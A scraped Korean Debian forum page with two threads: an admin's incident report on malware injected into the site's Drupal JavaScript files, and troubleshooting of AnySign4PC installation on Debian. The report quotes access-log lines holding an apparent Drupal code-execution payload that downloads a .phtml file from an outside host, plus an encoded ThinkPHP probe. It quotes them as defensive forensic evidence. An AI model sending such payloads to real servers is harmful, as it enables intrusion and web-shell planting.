못하겠어요. 에궁.</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=585&amp;1=default&amp;2=en&amp;3=" token="PtOCn-D-6kukuQxUcZM1peTlVGD2X0w1FFOE4j7L90c"></drupal-render-placeholder> </div> </article> </section> Mon, 23 Dec 2019 10:14:23 +0000 Rani 314 at https://debianusers.or.kr https://debianusers.or.kr/node/314#comments 멀웨어가 있습니다 라고 나오네요? https://debianusers.or.kr/node/310 <span property="schema:name" class="field field--name-title field--type-string field--label-hidden">멀웨어가 있습니다 라고 나오네요?</span> <div class="field field--name-taxonomy-forums field--type-entity-reference field--label-above"> <div class="field__label">Forums</div> <div class="field__item"><a href="/taxonomy/term/8" hreflang="en">일반적인 질문</a></div> </div> <div property="schema:text" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>debianusers.or.kr 들어갈 때</p> <p>멀웨어가  있다고  경고가 뜨네요. 화면 캡처 붙임.</p> <p>어떨 때는 안 나기도 하고...</p> <p>사이트 문제인지 다른 문제인지 모르겠습니다.</p> </div> <span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></span> <span property="schema:dateCreated" content="2019-11-14T03:26:37+00:00" class="field field--name-created field--type-created field--label-hidden">2019.11.14.(Thu) - 12:26</span> <section class="field field--name-comment-forum field--type-comment field--label-hidden comment-wrapper"> <article role="article" data-comment-user-id="1" id="comment-577" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1573916357"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/1" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">westporch</span></p> <p class="comment__time">작성: 2019.11.16.(Sat) - 23:59</p> <p class="comment__time">수정: 2019.11.16.(Sat) - 23:59</p> <p class="comment__permalink"><a href="/comment/577#comment-577" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/577#comment-577" class="permalink" rel="bookmark" hreflang="en">악성코드를 제거하였습니다.</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>안녕하십니까?</p> <p>드루팔에서 사용되는 자바스크립트 파일(2개)의, 맨 마지막 줄에 악성코드가 삽입되어 있었습니다. 이 악성코드를 삭제하였으며, 드루팔(코어)과 드루팔의 모듈(8개)들을 모두 최신 버전으로 업데이트했습니다. 그러므로 안심하고 데비안유저스(debianusers.or.kr)에 접속하셔도 됩니다.</p> <p>저도 크롬 브라우저(PC, 모바일)로 데비안유저스에 접속했는데, 저는 왜 '멀웨어 경고'가 한 번도 발생하지 않았는지 모르겠습니다. 세벌 님 덕분에 악성코드를 제거할 수 있었습니다.<br /> <br /> 정말 고맙습니다.</p> <p>자세한 내용은 아래에 기록하였습니다.</p> <p>&nbsp;</p> <p>■ 멀웨어 경고가 출력된 이유<br /> 드루팔과 관련된 자바스크립트 파일(2개)의 맨 마지막 줄에 악성코드가 삽입되어 있었습니다. &nbsp;이로 인해 크롬 브라우저로 데비안유저스에 접속할 때 '멀웨어 경고'가 발생하였습니다.</p> <p>■ 현재 데비안유저스는 안전한가?<br /> 악성코드는 삭제되었으니 안심하고 데비안유저스에 접속하셔도 됩니다.</p> <p>■ 악성코드 공격을 당한 이유<br /> ▲디렉터리 권한 설정 문제 &nbsp;▲드루팔 업데이트 미적용 때문에, 악성코드 공격을 당한 것으로 보입니다.</p> <p>시스템의 로그를 살펴보았지만, 공격을 당한 '정확한 이유'는 모르겠습니다. 다만 공격자가 리눅스 서버의 계정을 탈취하지 않고, 드루팔의 취약점만을 이용해서 자바스크립트 파일에 악성코드를 삽입한 것으로 보입니다. 이에 대한 근거는 다음과 같습니다. &nbsp;</p> <p>첫째, 드루팔의 파일 디렉터리(sites/default/files), 권한을 777로 설정했기 때문에 보안에 취약했습니다.</p> <p>악성코드 문제가 있다는 것을 인지한 후에, 서버에 접속한 후 find 명령어로 최근에 변경된 파일을 검색해보니, sites/default/files에 있는 파일들만 변경되었음을 확인할 수 있었습니다.</p> <p>파일 디렉터리의 취약점을 노린 공격 시도가 다음과 같이, 웹 서버(nginx)의 로그(access.log)에 기록되었습니다.</p> <p>128.131.132.143 - - [15/Nov/2019:02:38:17 +0900] "POST&nbsp;<br /> //?q=user/password&amp;name[%23post_render][]=passthru&amp;name[%23type]=mar<br /> kup&amp;name[%23markup]=mv+sites/default/files/.htaccess+htaccessx;curl+<br /> -o+sites/default/files/renata.phtml+'<a href="http://jfgsolutions.ca/renata.p">http://jfgsolutions.ca/renata.p</a><br /> html' HTTP/1.1" 302 1468 "-" "libwww-perl/6.15"</p> <p>물론 이뿐만 아니라, 다음과 같이 의심스러운 공격도 웹서버의 로그에 기록되었습니다.</p> <p>27.254.158.129 - - [12/Nov/2019:16:09:04 +0900] "GET /index.php?s=%2<br /> f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%<br /> 65%66%75%6e%63%74%69%6f%6e&amp;function=%63%61%6c%6c%5f%75%73%65%72%5f%6<br /> 6%75%6e%63%5f%61%72%72%61%79&amp;vars[0]=%6d%645&amp;vars[1][]=%48%65%6c%6c%<br /> 6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 571 "-" "Mozilla/5.0 (Windo<br /> ws NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome<br /> /64.0.3282.140 Safari/537.36"</p> <p><br /> 둘째, 드루팔을 최신 버전으로 업데이트하지 않았기 때문에 보안에 취약했습니다.</p> <p><br /> ■ 후속 조치<br /> 첫째, 드루팔의 파일 디렉터리(sites/default/files), 권한을 755로 변경하였습니다.</p> <p>둘째, 드루팔을 최신 버전으로 업데이트하였습니다.</p> <p>기존 드루팔의 버전(v8.2.7)을 최신 버전(v8.7.10)으로 업데이트했습니다. 또한 드루팔에서 사용하는 모듈들을 모두 최신 버전으로 업데이트하였습니다.</p> <p>■ 반성<br /> 제가 드루팔의 업데이트에 소홀했습니다. 예전에 드루팔을 업데이트하다가 실패한 경험이 있어서, 드루팔을 업데이트하다가 서버를 망가뜨릴까 봐 두려웠습니다. 그래서 드루팔을 최신 버전으로 업데이트하지 않았습니다. 하지만 이번에는 피하지 않고, 드루팔을 성공적으로 업데이트했습니다.</p> <p>제 노트북에 데비안유저스와 동일한 서버 환경을 구축하여, 드루팔 및 드루팔의 모듈을 최신 버전으로 업데이트하는 것을 테스트했습니다. 드루팔을 최신 버전으로 성공적으로 업데이트하는 것을 3번 해보고, 작업 계획서를 작성하여 11분 만에 드루팔을 최신 버전으로 업데이트하였습니다. 드루팔 모듈 업데이트는 1번 성공적으로 해 본 후에, 작업 계획서를 작성하여 7개의 모듈을 15분 만에 성공적으로 업데이트하였습니다.(드루팔 모듈은 총 8개를 사용하지만, 이 8개 중 1개는 드루팔 업데이트 시에 자동으로 업데이트됨.)</p> <p>앞으로는 이 경험을 바탕으로, 드루팔 업데이트에 좀 더 신경쓰도록 하겠습니다.</p> <p>■ 맺음말<br /> 데비안유저스에 '멀웨어 경고'가 있다는 글을 금요일(11월 15일 22시 40분쯤)에 읽고, 눈앞이 아찔했습니다. '오늘 잠을 못 자는 건가?', '내가 이걸 어떻게 해결하지?', '크로스사이트 스크립트 공격인가?', '내일 도서관은 못 가는 건가?' 여러 가지 생각이 들었습니다. 도무지 해결 방법이 보이지 않아서, 일단 토요일(11월 16일 01시쯤)에 잠을 자고 새벽(05시 30분쯤)에 일어나서, 온종일 컴퓨터 앞에 앉아 작업했습니다. '포기하고 싶다.', '울고 싶다.', '악성코드를 삽입한 사람이 진짜 얄밉다.' 수없이 많은 생각을 했습니다.</p> <p>하지만 해결할 수 없을 것 같던 문제를 해결하고, 드루팔도 최신 버전으로 업데이트해서 뿌듯합니다. 한편으로는 제가 지금은 공시생이라, 데비안유저스에 신경을 많이 쓰지 못해서, 마음이 무겁기도 합니다. 제가 부족한 점이 많아서, 종종 서버에 문제가 발생할 때도 있지만 너그럽게 봐주시면 고맙겠습니다.</p> <p>고맙습니다.</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=577&amp;1=default&amp;2=en&amp;3=" token="CQoCqHfw9UI8_tIstv7LOyB7w-VoiXjySIo39JSegcU"></drupal-render-placeholder> </div> </article> </section> <div class="field field--name-field-file-attachments field--type-file field--label-above"> <div class="field__label">File attachments</div> <div class="field__items"> <div class="field__item"> <span class="file file--mime-application-pdf file--application-pdf"> <a href="/sites/default/files/2019-11/debianMalwareWarn.pdf" type="application/pdf">debianMalwareWarn.pdf</a></span> </div> </div> </div> Thu, 14 Nov 2019 03:26:37 +0000 세벌 310 at https://debianusers.or.kr https://debianusers.or.kr/node/310#comments 데비안에서 주민등록등본? https://debianusers.or.kr/node/306 <span property="schema:name" class="field field--name-title field--type-string field--label-hidden">데비안에서 주민등록등본?</span> <div class="field field--name-taxonomy-forums field--type-entity-reference field--label-above"> <div class="field__label">Forums</div> <div class="field__item"><a href="/taxonomy/term/8" hreflang="en">일반적인 질문</a></div> </div> <div property="schema:text" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>리눅스에서도 주 민등록등본 받을 수  있다기에 데비안에서 해 봤습니다.</p> <p>저는 안 되네요. 여러분은 어떤가요?</p> <p>관련 글 : <a href="https://kldp.org/node/162198">https://kldp.org/node/162198</a></p> </div> <span rel="schema:author" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></span> <span property="schema:dateCreated" content="2019-09-30T19:51:46+00:00" class="field field--name-created field--type-created field--label-hidden">2019.10.01.(Tue) - 04:51</span> <section class="field field--name-comment-forum field--type-comment field--label-hidden comment-wrapper"> <article role="article" data-comment-user-id="1" id="comment-567" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1570464370"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/1" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">westporch</span></p> <p class="comment__time">작성: 2019.10.08.(Tue) - 01:06</p> <p class="comment__time">수정: 2019.10.08.(Tue) - 01:06</p> <p class="comment__permalink"><a href="/comment/567#comment-567" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/567#comment-567" class="permalink" rel="bookmark" hreflang="en">AnySign4PC가 계속 &#039;미설치&#039;라고 뜹니다.</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>이번주 월요일은 도서관 휴관일이라 잠시 쉬면서, 민원24에서 주민등록등본의 발급(리눅스 환경)을 시도해 봤습니다. 하지만 주민등록등본 발급에 실패했습니다. AnySign4PC가 계속 '미설치'라고 뜹니다.</p> <p>제가 작업한 내용 및 알게된 사실을 기록해 봅니다.</p> <p><strong>1.&nbsp;리눅스용 AnySign4pc가 지원하는 웹 브라우저&nbsp;</strong><br /> 리눅스용&nbsp;AnySign4pc는&nbsp;파이어폭스에서만 작동하도록 구현되었습니다. 이는&nbsp;var/lib/dpkg/info/anysign4pc.postinst(셸 스크립트) 파일에서 확인할 수 있습니다.<br /> <br /> 참고로 제가 사용한&nbsp;파이어폭스의, 버전은 v60.9.0입니다.&nbsp;<br /> $ firefox -v<br /> Mozilla Firefox 60.9.0</p> <p><strong>2. 민원24에서 제공하는 <a href="http://www.minwon.go.kr/AnySign4PC/test/installAnySign.jsp">AnySign4PC(v1.1.0.7) </a>설치하기&nbsp;</strong><br /> ※ 현재 민원24에서 제공하는 AnySign4PC의 버전이 너무 낮습니다. v1.1.0.9 이후의 AnySign4PC를 사용하시는 게 좋을 것 같습니다. 왜냐하면 v1.1.0.7은<font face="나눔명조">&nbsp;최신 데비안이 지원하지 않는 chkconfig를 사용하기 때문입니다. v1.1.0.9 이후로는 chkconfig뿐만 아니라 systemd도 함께 지원합니다.</font></p> <p><strong>2-1. chkconfig 설치 및 실행하기</strong><br /> 굳이&nbsp;AnySign4PC(v1.1.0.7)를 설치하려면, /etc/apt/sources.list를 아래처럼 수정하신 후에 이 변경 사항을 저장합니다.&nbsp;<font face="나눔명조">(chkconfig 패키지는 jessie 저장소에 존재합니다.)&nbsp;</font></p> <p><font face="나눔명조"># Jessie<br /> deb <a href="http://ftp.kr.debian.org/debian">http://ftp.kr.debian.org/debian</a> jessie main<br /> deb-src <a href="http://ftp.kr.debian.org/debian">http://ftp.kr.debian.org/debian</a> jessie main</font></p> <p><br /> <font face="나눔명조">이후 아래 명령을 실행합니다.<br /> $ sudo apt update<br /> $ sudo apt install chkconfig</font></p> <p>chkconfig가 제대로 설치되었으면,&nbsp;/etc/apt/sources.list를 원래 상태로 되돌려 주십시오.<br /> <br /> <strong>2-2.&nbsp;AnySign4PC(v1.1.0.7)를 설치</strong><br /> 저는 64비트 시스템을&nbsp;사용해서&nbsp;anysign4pc_linux_x86_64.deb를 설치했습니다.<br /> $ sudo dpkg -i anysign4pc_linux_x86_64.deb<br /> <br /> <strong><font color="#666666" face="돋움, Dotum, Helvetica, Apple SD Gothic Neo, sans-serif">2-3.&nbsp;</font>AnySign.ex를 실행</strong><br /> 심볼릭 링크를 설정하지 않고 AnySign.ex를 실행하면, 아래처럼 'libNativeMng.so: cannot open shared object file: No such file or directory' 메시지 발생합니다.<br /> <br /> <font color="#666666">$ sudo /opt/anysign4pc/amd64/AnySign.ex&nbsp;<br /> /opt/anysign4pc/amd64/AnySign.ex: error while loading shared libraries: libNativeMng.so: cannot open shared object file: No such file or directory</font></p> <p>아래 명령으로 심볼릭 링크를 설정합니다.&nbsp;(참고:&nbsp;<a href="http://no1linux.org/hottips/28920" rel="noreferrer noopener" target="_blank">http://no1linux.org/hottips/28920</a>)<br /> $ sudo ln -s /opt/anysign4pc/amd64/libNativeMng.so /usr/lib/libNativeMng.so<br /> <br /> <br /> <strong>3.&nbsp;<a href="https://www.pmaa.or.kr/solution/installAnySign.jsp">AnySign4PC(v1.1.2.0)</a>으로 설치 시도</strong><br /> AnySign4PC의 가장 높은 버전을 찾아보니, 그나마&nbsp;<font face="나눔명조">v1.1.2.0이 최신 버전인 것 같아서 이 버전으로 설치를 시도했습니다. 하지만 결과는 실패입니다.</font></p> <p><font face="맑은 고딕, Malgun Gothic, 돋움, Dotum, Helvetica, AppleGothic, sans-serif">일반적으로 anysign4pc_linux*.deb를 설치하면,&nbsp;</font>/var/lib/dpkg/info/anysign4pc.postinst(셸 스크립트)가 실행됩니다.&nbsp;<font face="돋움, Dotum, Helvetica, Apple SD Gothic Neo, sans-serif">anysign4pc.postinst가 실행되면서, 인증서를 생성하고 이 인증서를 파이어폭스와 연결하는 것 같습니다. 그래서 웹 브라우저는 파이어폭스만 사용이 가능합니다. 물론 anysign4pc.postinst 파일을 수정하면, 다른 웹 브라우저에서도 AnySign4PC를 사용할 수 있을 것 같기도 합니다.</font></p> <p><font face="돋움, Dotum, Helvetica, Apple SD Gothic Neo, sans-serif">이 스크립트는 우분투 또는 페도라의 버전을 확인해서 작동(if 문)하기 때문에, 데비안에서는 이 스크립트가 제대로 작동하지 않습니다.</font>&nbsp;그래서 데비안 환경에 맞게 셸 스크립트를 수정해서, AnySign4PC를 설치해봤지만,&nbsp;<font face="돋움, Dotum, Helvetica, Apple SD Gothic Neo, sans-serif">anysign4pc.service가 동작하지 않습니다.</font></p> <p><font face="돋움, Dotum, Helvetica, Apple SD Gothic Neo, sans-serif">아래처럼 인증서는 생성되었습니다.<br /> westporch@nt900x4c-a58:/opt/anysign4pc/amd64$ ./certutil -d sql:$HOME/.pki/nssdb -L</font></p> <p>Certificate Nickname&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Trust Attributes<br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;SSL,S/MIME,JAR/XPI</p> <p>Hancom Secure Root CA&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ,,<br /> &nbsp;</p> <p><font face="돋움, Dotum, Helvetica, Apple SD Gothic Neo, sans-serif">하지만&nbsp;</font><font face="돋움, Dotum, Helvetica, Apple SD Gothic Neo, sans-serif">계속 '</font>certutil: function failed: SEC_ERROR_BAD_DATABASE: security library: bad database.' 메시지가 출력됩니다. 이 문제만 해결하면 AnySign4PC가 제대로 작동할 것 같지만, 현재로서는 해결 방법을 모르겠습니다.</p> <p><font face="돋움, Dotum, Helvetica, Apple SD Gothic Neo, sans-serif">참고로 anysign4pc.service의 상태는 다음과 같습니다.<br /> <br /> $ sudo systemctl status anysign4pc.service&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br /> ● anysign4pc.service - AnySign4PC</font></p> <p><font face="돋움, Dotum, Helvetica, Apple SD Gothic Neo, sans-serif">&nbsp; &nbsp;Loaded: loaded (/lib/systemd/system/anysign4pc.service; enabled; vendor preset: enabled)<br /> &nbsp; &nbsp;Active: failed (Result: exit-code) since Mon 2019-10-07 21:25:36 KST; 16s ago<br /> &nbsp; Process: 18057 ExecStart=/etc/init.d/AnySign.linux.SysV.x64 start (code=exited, status=203/EXEC)<br /> &nbsp;Main PID: 18057 (code=exited, status=203/EXEC)</font></p> <p><font face="돋움, Dotum, Helvetica, Apple SD Gothic Neo, sans-serif">10월 07 21:25:36 nt900x4c-a58 systemd[1]: anysign4pc.service: Service RestartSec=100ms expired, scheduling restart.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<br /> 10월 07 21:25:36 nt900x4c-a58 systemd[1]: anysign4pc.service: Scheduled restart job, restart counter is at 5.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<br /> 10월 07 21:25:36 nt900x4c-a58 systemd[1]: Stopped AnySign4PC.<br /> 10월 07 21:25:36 nt900x4c-a58 systemd[1]: anysign4pc.service: Start request repeated too quickly.<br /> 10월 07 21:25:36 nt900x4c-a58 systemd[1]: anysign4pc.service: Failed with result 'exit-code'.<br /> 10월 07 21:25:36 nt900x4c-a58 systemd[1]: Failed to start AnySign4PC.</font></p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=567&amp;1=default&amp;2=en&amp;3=" token="pn127CZXSIsB4hmVr2DgJDajc83NmxIADrY5s2yNSHg"></drupal-render-placeholder> </div> </article> <article role="article" data-comment-user-id="5" id="comment-568" class="comment js-comment by-node-author clearfix"> <span class="hidden" data-comment-timestamp="1570508608"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/5" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></p> <p class="comment__time">작성: 2019.10.08.(Tue) - 13:23</p> <p class="comment__time">수정: 2019.10.08.(Tue) - 13:23</p> <p class="comment__permalink"><a href="/comment/568#comment-568" hreflang="en">Permalink</a></p> </footer> <div class="comment__content"> <h3><a href="/comment/568#comment-568" class="permalink" rel="bookmark" hreflang="en">1588-2188-5 전화했더니 해결 못하고,…</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>1588-2188-5 전화했더니 해결 못하고, 한컴위드 전화번호  1644-0128-1 알려주네요. 전화해서 아래와 같은 답 메일을 받았습니다. 데비안에서 시도해봐야겠네요.</p> <p>안녕하세요. 한컴위드 고객센터 이청열 입니다.</p> <p>AnySign4PC 1.1.2.6 버전 리눅스용 다운로드 URL 보내드리오니 설치 진행 부탁드립니다.</p> <p><a href="http://download.softforum.co.kr/Published/AnySign/v1.1.2.6/anysign4pc_linux_i386.deb">http://download.softforum.co.kr/Published/AnySign/v1.1.2.6/anysign4pc_linux_i386.deb</a></p> <p><a href="http://download.softforum.co.kr/Published/AnySign/v1.1.2.6/anysign4pc_linux_x86_64.deb">http://download.softforum.co.kr/Published/AnySign/v1.1.2.6/anysign4pc_linux_x86_64.deb</a></p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=568&amp;1=default&amp;2=en&amp;3=" token="IPCNE1H8Fj6x_yXNKz2KEOx4IhojsVTxpr7c6l136Sk"></drupal-render-placeholder> </div> </article> <div class="indented"><article role="article" data-comment-user-id="5" id="comment-569" class="comment js-comment by-node-author clearfix"> <span class="hidden" data-comment-timestamp="1570754138"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/5" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></p> <p class="comment__time">작성: 2019.10.11.(Fri) - 09:35</p> <p class="comment__time">수정: 2019.10.11.(Fri) - 09:35</p> <p class="comment__permalink"><a href="/comment/569#comment-569" hreflang="en">Permalink</a></p> <p class="visually-hidden">In reply to <a href="/comment/568#comment-568" class="permalink" rel="bookmark" hreflang="en">1588-2188-5 전화했더니 해결 못하고,…</a> by <span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></p> </footer> <div class="comment__content"> <h3><a href="/comment/569#comment-569" class="permalink" rel="bookmark" hreflang="en">역시 안 되네요.</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>이건 데비안 커뮤니티가 아니라 정부차원에서 해결해야 할 문제 같네요.</p> </div> <drupal-render-placeholder callback="comment.lazy_builders:renderLinks" arguments="0=569&amp;1=default&amp;2=en&amp;3=" token="g5GnEupKtVDF8QcMz0RAfHv99sRWZmntJeFFF-lC1vY"></drupal-render-placeholder> </div> </article> <article role="article" data-comment-user-id="1" id="comment-575" class="comment js-comment clearfix"> <span class="hidden" data-comment-timestamp="1571668706"></span> <footer class="comment__meta"> <article typeof="schema:Person" about="/user/1" class="profile"> </article> <p class="comment__author"><span lang="" about="/user/1" typeof="schema:Person" property="schema:name" datatype="">westporch</span></p> <p class="comment__time">작성: 2019.10.21.(Mon) - 23:38</p> <p class="comment__time">수정: 2019.10.21.(Mon) - 23:38</p> <p class="comment__permalink"><a href="/comment/575#comment-575" hreflang="en">Permalink</a></p> <p class="visually-hidden">In reply to <a href="/comment/568#comment-568" class="permalink" rel="bookmark" hreflang="en">1588-2188-5 전화했더니 해결 못하고,…</a> by <span lang="" about="/user/5" typeof="schema:Person" property="schema:name" datatype="">세벌</span></p> </footer> <div class="comment__content"> <h3><a href="/comment/575#comment-575" class="permalink" rel="bookmark" hreflang="en">여전히 anysign4pc.service가 실행이 안 됩니다.</a></h3> <div class="clearfix text-formatted field field--name-comment-body field--type-text-long field--label-hidden field__item"><p>AnySign4PC(v1.1.2.6)를 설치해봤지만, anysign4pc.service가 실행이 안 됩니다. 따라서 민원24에서 '<a href="http://www.minwon.go.kr/AnySign4PC/test/installAnySign.jsp">AnySign4PC 설치 정보</a>' 페이지에서 설치현황이 '미설치'로 나타납니다.</p> <p>/var/lib/dpkg/info/anysign4pc.postinst에서 우분투 · 페도라와 관련된 내용을 제거하고, 데비안에서 동작하도록&nbsp; anysign4pc.postinst를 수정해봤습니다. 하지만 여전히 anysign4pc.service가 실행이 안 됩니다.</p> <p>그래서 AnySign4PC(v1.1.2.0)와 AnySign4PC(v1.1.2.6)의 anysign4pc.postinst에 차이점이 있는지 확인해봤지만, anysign4pc.postinst에 변경된 점은 전혀 없었습니다.</p> <p><br /> ■ AnySign4PC(v1.1.2.6) 설치</p> <p>westporch@nt900x4c-a58:~/Downloads$ sudo dpkg -i anysign4pc_linux_x86_64.deb<br /> Selecting previously unselected package anysign4pc.<br /> (데이터베이스 읽는중 ...현재 144316개의 파일과 디렉터리가 설치되어 있습니다.)<br /> Preparing to unpack anysign4pc_linux_x86_64.deb ...<br /> Unpacking anysign4pc (1.1.2.6) ...<br /> anysign4pc (1.1.2.6) 설정하는 중입니다 ...<br /> /var/lib/dpkg/info/anysign4pc.postinst: 26: [: -gt: unexpected operator<br /> /var/lib/dpkg/info/anysign4pc.postinst: 75: [: -gt: unexpected operator<br /> /etc/init.d/AnySign.linux.x64: unknown service<br /> certutil: function failed: SEC_ERROR_BAD_DATABASE: security library: bad database.<br /> certutil: function failed: SEC_ERROR_BAD_DATABASE: security library: bad database.</p> <p><br /> ■ AnySign4PC(v1.1.2.6)의 /var/lib/dpkg/info/anysign4pc.postinst의 일부</p> <p>&nbsp;17 if [ "$NP_PLATFORM" = "UBUNTU" ]<br /> &nbsp;18 then<br /> &nbsp;19&nbsp; &nbsp; &nbsp;if [ $UBUNTU_VER -gt 15 ]<br /> &nbsp;20&nbsp; &nbsp; &nbsp;then<br /> &nbsp;21&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;INITD_NAME=AnySign.linux.SysV.x64<br /> &nbsp;22&nbsp; &nbsp; &nbsp;else<br /> &nbsp;23&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;INITD_NAME=AnySign.linux.x64<br /> &nbsp;24&nbsp; &nbsp; &nbsp;fi<br /> &nbsp;25 else<br /> &nbsp;26&nbsp; &nbsp; &nbsp;if [ $FEDORA_VER -gt 23 ]<br /> &nbsp;27&nbsp; &nbsp; &nbsp;then<br /> &nbsp;28&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;INITD_NAME=AnySign.linux.SysV.x64<br /> &nbsp;29&nbsp; &nbsp; &nbsp;else<br /> &nbsp;30&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;INITD_NAME=AnySign.linux.x64<br /> &nbsp;31&nbsp; &nbsp; &nbsp;fi<br /> &nbsp;32 fi</p> <p>(.. 생략 ..)</p> <p>&nbsp;63 if [ "$NP_PLATFORM" = "UBUNTU" ]<br /> &nbsp;64 then<br /> &nbsp;65&nbsp; &nbsp; &nbsp;if [ $UBUNTU_VER -gt 15 ]<br /> &nbsp;66&nbsp; &nbsp; &nbsp;then<br /> &nbsp;67&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cp $SYSD_PATH /lib/systemd/system/anysign4pc.service<br /> &nbsp;68&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;systemctl enable anysign4pc.service<br /> &nbsp;69&nbsp; &nbsp; &nbsp;else<br /> &nbsp;70&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ln -s /etc/init.d/$INITD_NAME /etc/rc2.d/S900AnySign4PC<br /> &nbsp;71&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ln -s /etc/init.d/$INITD_NAME /etc/rc3.d/S900AnySign4PC<br /> &nbsp;72&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;ln -s /etc/init.d/$INITD_NAME /etc/rc5.d/S900AnySign4PC<br /> &nbsp;73&nbsp; &nbsp; &nbsp;fi<br /> &nbsp;74 else<br /> &nbsp;75&nbsp; &nbsp; &nbsp;if [ $FEDORA_VER -gt 23 ]<br /> &nbsp;76&nbsp; &nbsp; &nbsp;then<br /> &nbsp;77&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cronCnt=`crontab -l | grep $INITD_NAME | grep -v grep | wc -l`<br /> &nbsp;78&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if [ $cronCnt -eq 0 ]<br /> &nbsp;79&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;then<br /> &nbsp;80&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if [ -f ./cronAny.registry ]<br /> 